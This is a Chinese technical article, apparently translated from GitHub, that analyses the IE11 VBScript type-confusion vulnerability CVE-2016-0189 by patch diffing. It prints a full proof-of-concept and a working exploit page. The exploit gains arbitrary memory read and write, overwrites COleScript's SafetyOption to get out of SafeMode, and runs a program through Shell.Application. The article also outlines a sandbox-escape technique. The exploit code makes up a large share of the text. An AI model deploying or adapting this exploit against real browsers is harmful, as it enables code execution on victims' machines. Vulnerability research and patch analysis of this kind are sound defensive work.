IE浏览器脚本引擎漏洞分析

Change 技术 2016年11月3日发布
Favorite收藏

导语:今年的6月份,微软在每月的周二补丁日公布了MS16-051的安全更新,修复了影响IE浏览器的一个类型混淆漏洞。

漏洞介绍

今年的6月份,微软在每月的周二补丁日公布了MS16-051的安全更新,修复了影响IE浏览器的一个漏洞。该漏洞是由于MSIE 11浏览器vbScript引擎(vbscript.dll)的类型混淆漏洞造成的(CVE-2016-0189),利用该漏洞的攻击首次出现在韩国。

该漏洞影响的版本是2016年6月补丁日前Microsoft Internet Explorer 11的所有版本。本文将对vbscript.dll的补丁前后进行对比,找到漏洞触发点,并进行EXP构造。

补丁对比

使用BinDiff对补丁前后的vbscript.dll文件进行比对,分别是5月份和4月份的两个版本版本,这次补丁只修改了几个函数而已,修改如下

其中改动最为可疑的就是 AccessArray 函数,我们使用 IDA检查一下这个函数:

4月份VS 5月份

不知道有没有看到区别了,补丁更新的内容是在代码访问之前给数组设置了一个 lock ,其他方面并没有作修改。

接下来看一眼 IsUnsafeAllowed函数里有关安全的策略:

4月份VS 5月份

同样,这里的修改也很明显,补丁前, IsUnsafeAllowed函数调用一个在不测试安全策略情况下永远都会返回0的一个函数。然而在补丁后,这个函数会调用位于 QueryProtectedPolicyPtr 函数指针。函数InitializeProtectedPolicy 会使用 GetProcAddress 函数初始化函数指针。

补丁分析

我们知道了这次的补丁修复了两个已知的漏洞,现在可以根据这两个补丁来编写相应的漏洞利用代码。

漏洞 #1 AccessArray 中缺失的SafeArray lock

在补丁后lock数组中插入的代码中可以看到,这就意味着攻击者可以在访问数组的过程中通过某些手段修改数组,导致部分属性的定义(如 cDims 或 cbElements )会出现不匹配的错误。

...
   while ( 1 )
  {
     curVar = VAR::PvarCutAll(curVar_);
     if ( VT_I2 == curVar->vt )
     {
       v14 = curVar->iVal;
     }
     else if ( VT_I4 == curVar->vt )
     {
       v14 = curVar->lVal;
     }
     else
     {
       v22 = 0;
       v18 = rtVariantChangeTypeEx(curVar, &v22, 0x400, 2, 3u, v20, v21);
       if ( v18 < 0 )
         return CScriptRuntime::RecordHr(a4, v18, v19, v20, v21);
       v14 = v23;
     }
     v15 = v14 - v25->lLbound;                   // lLbound is always 0
     if ( v15 < 0 || v15 >= v25->cElements )
       return CScriptRuntime::RecordHr(a4, 0x8002000B, v25, v20, v21);
     numDim = (numDim - 1);
     idx = v15 + v11;
     if ( numDim <= 0 )
       break;
     ++v25;
     v11 = v25->cElements * idx;
     curVar_ = (a4 + 16);
     a4 = (a4 + 16);
  }
   *v24 = arr->pvData + idx * arr->cbElements;   // cbElements == 16
...

在主循环中,该代码从数组最右侧开始计算给定的索引数据指针。这里需要注意的是,如果被用于索引的变量类型是 VT_I2 或者 VT_I4 的时候读值方式会略有不同,分别读取 long 和 short 。对于其他变量类型, rtVariantChangeTypeEx 将会调用索引值。当这个函数被给定一个Javascript 对象时,它将会通过所以来找到最终调用对象的 valueOf 的值。通过提供具有我们所选择的 valueOf 函数的对象,我们可以运行任意 VBScript 或 rtVariantChangeTypeEx 内的 Javascript 代码。

// exploit & triggerBug are defined  in vbscript
var o;
o = {"valueOf": function () {
         triggerBug();
         return 1;
     }};
setTimeout(function() {exploit(o);}, 50);

我们可以通过以上触发脚本来重新定义数组长度。例如,想象一下我们可以使用下面一个二维数组:

ReDim Preserve A(1, 2000)

然后,当我们用类似 A ( 1 , 2 ) 访问这个数组的时候, AccessArray 中的 idx 就会计算成 1 + (2 * (2 – 0)) ,结果为5。

通常情况下,这不会出现什么问题,因为缓冲区里定位的数据是16×2×2001=64032位,然而,这种偏移量将会导致溢出内容被重新定义为较小的一段数据。总而言之,我们可以在当数组定义为 A ( 1 , 1 ) 的时候访问到 A ( 1 , 2 ) 的数据。

通过重复触发这个漏洞,我们很轻松的就可以把我们的攻击代码写入到数组里。得到对象的地址,读取某个地址的内存数据,甚至可以通过重复触发漏洞来复写这部分的数据。

漏洞2 绕过 IsUnsafeAllowed

在补丁前, IsUnsafeAllowed 函数默认返回值为1。因为 COleScript :: OnEnterBreakPoint函数返回值一直为0。补丁之后,程序就会正确的执行 QueryProtectedPolicy 函数,但是仅仅在相应的操作系统中(仅支持Windows8.1以上系统)。

使用 SafeMode 绕过漏洞1和2

默认情况下,IE会自动阻止一些危险脚本的运行。当safemode的的flag标志位为0xE的时候会使用 InSafeMode函数去检测不安全的扩展名(例如”shell.Application”)。幸运的是,我们知道 IsUnsafeAllowed 会一直返回1,所以我们就可以通过修改这个flag的值来利用漏洞1。

EXP构造

下面的poc代码使得内存空间的访问地址无效,导致IE崩溃。第二个数组的大小在函数访问数组的过程中被改为了较小的值。

<html>
<meta  http-equiv="x-ua-compatible" content="IE=10">
<body>
     <script type="text/vbscript">
         Dim aw
 
         Class ArrayWrapper
            Dim A()
            Private Sub Class_Initialize
                ReDim Preserve A(1, 20000)
            End Sub
            Public Sub Resize()
                ReDim Preserve A(1, 1)
            End Sub
         End Class
 
         Function crash (arg1)
            Set aw = New ArrayWrapper
            MsgBox aw.A(arg1, 20000)
         End Function
 
         Function triggerBug
            aw.Resize()
         End Function
     </script>
 
     <script type="text/javascript">
         alert(1);
         var o = {"valueOf": function () { triggerBug(); return 1;  }};
         setTimeout(function() {crash(o);}, 50);
     </script>
</body>
</html>

Exploit构造

实现任意内容读写在漏洞利用的时候是最厉害的,为了让exp代码的可读性更强,我们可以在做一些改变:

1. getAddr:触发这个bug,进行对象地址的喷射,接着在内存中寻找地址。
2. leakMem :触发这个bug,顺便读取一下给定地址的内存
3. overwrite :触发bug,同时复写指定地址的内容,方法是通过先修改 CSng ( 0 ) 变量,比如想要开Godmode,只需要把flag改成0x04

有了这些,就可以做下面的一些事:

1. 实例化一些VB脚本类
2. 获取类对象的地址
3. 通过类实例的地址获取 CSession 的泄漏点地址
4. 通过获取 CSession 地址来得到 COleScript 的地址
5. 复写 COleScript 的 SafetyOption

最终exp代码如下:(Win10,IE11测试通过)

<html>
<head>
<meta  http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
     <script type="text/vbscript">
         Dim aw
         Dim plunge(32)
         Dim y(32)
         prefix = "%u4141%u4141"
         d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
         b = String(64000, "D")
         c = d & b
         x = UnEscape(c)
 
         Class ArrayWrapper
            Dim A()
            Private Sub Class_Initialize
                ' 2x2000 elements x 16 bytes  / element = 64000 bytes
                ReDim Preserve A(1, 2000)
            End Sub
 
            Public Sub Resize()
                 ReDim Preserve A(1,  1)
            End Sub
         End Class
 
         Class Dummy
         End Class
 
         Function getAddr (arg1, s)
            aw = Null
            Set aw = New ArrayWrapper
 
            For i = 0 To 32
                Set plunge(i) = s
            Next
 
            Set aw.A(arg1, 2) = s
 
            Dim addr
            Dim i
            For i = 0 To 31
                If Asc(Mid(y(i), 3, 1)) =  VarType(s) Then
                    addr = strToInt(Mid(y(i),  3 + 4, 2))
                End If
                y(i) = Null
            Next
 
            If addr = Null Then
                document.location.href =  document.location.href
                Return
            End If
 
            getAddr = addr
         End Function
 
         Function leakMem (arg1, addr)
            d = prefix &  "%u0008%u4141%u4141%u4141"
            c = d & intToStr(addr) &  b
            x = UnEscape(c)
 
            aw = Null
            Set aw = New ArrayWrapper
 
            Dim o
            o = aw.A(arg1, 2)
 
            leakMem = o
         End Function
 
         Sub overwrite (arg1, addr)
            d = prefix &  "%u400C%u0000%u0000%u0000"
            c = d & intToStr(addr) &  b
            x = UnEscape(c)
 
            aw = Null
            Set aw = New ArrayWrapper
 
            ' Single has vartype of 0x04
            aw.A(arg1, 2) = CSng(0)
         End Sub
 
         Function exploit (arg1)
            Dim addr
            Dim csession
            Dim olescript
            Dim mem
 
            ' Create a vbscript class  instance
            Set dm = New Dummy
            ' Get address of the class  instance
            addr = getAddr(arg1, dm)
            ' Leak CSession address from  class instance
            mem = leakMem(arg1, addr + 8)
            csession = strToInt(Mid(mem, 3,  2))
            ' Leak COleScript address from  CSession instance
            mem = leakMem(arg1, csession + 4)
            olescript = strToInt(Mid(mem, 1,  2))
            ' Overwrite SafetyOption in  COleScript (e.g. god mode)
            ' e.g. changes it to 0x04 which  is not in 0x0B mask
            overwrite arg1, olescript +  &H174
 
            ' Execute notepad.exe
            Set Object =  CreateObject("Shell.Application")
            Object.ShellExecute  "notepad"
         End Function
 
         Function triggerBug
            ' Resize array we are currently  indexing
            aw.Resize()
 
            ' Overlap freed array area with  our exploit string
             Dim i
            For i = 0 To 32
                ' 24000x2 + 6 = 48006 bytes
                y(i) = Mid(x, 1, 24000)
            Next
         End Function
     </script>
 
     <script type="text/javascript">
         function strToInt(s)
         {
             return s.charCodeAt(0) |  (s.charCodeAt(1) << 16);
         }
         function intToStr(x)
         {
            return String.fromCharCode(x  & 0xffff) + String.fromCharCode(x >> 16);
         }
         var o;
         o = {"valueOf": function () {
                triggerBug();
                return 1;
            }};
         setTimeout(function() {exploit(o);}, 50);
     </script>
</body>
</html>

利用展示如下:

看上去好像我们已经都做完了,但是实际上并没有。

有的人可能会想问为什么不弹个calc出来,因为我们就是想做的跟别人不一样。即使绕过了SafeMode,沙箱的保护模式也会过滤IE进程的一些执行函数的,比如WinExec和CreateProcess。

在注册表的HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerLowRightsElevationPolicy里,有很多注册的键里都是和安全策略有关的,这些策略保护着沙箱模式的安全问题。重要的是列表定义的环境里没法指定特殊程序的运行,这意味着IE就会应用默认的策略,后果就是运行某个特定程序的时候就会弹窗了。


上面已经写的很清楚了,notepad的策略值为3,而cmd的策略值为0,这个是无法启动的。

而且,从windows 8.1开始,计算器这个工具已经运行在了AppContainer里。不过我们还是可以运行一些没有定义安全策略的软件,比如wordpad(写字板),当然也是会弹窗:

这里只有点了Allow,IE才能在子进程里运行Wordpad:

当然我们也可以绕过这个弹窗的提示,具体的做法也是参考了几年前ZDI组织向微软上报了的一个bug。

漏洞的原理是中权值等级程序的子进程在沙箱环境里可以执行任意代码。具体内容可以看ZDI这篇博客。主要思想是使用IE对内联网localhost的信任,首先在本地创建一个服务器,然后让IE以低进程权值去访问这个服务,从而达到代码执行的目的。

看一下ZDI博客的图解,可以更详细直观了解一下:

ZDI-14-270

我们主要使用这个PoC当中的一些技术来躲避沙箱的检测。

本文翻译于github,如若转载,请注明来源于嘶吼: http://www.4hou.com/technology/1233.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论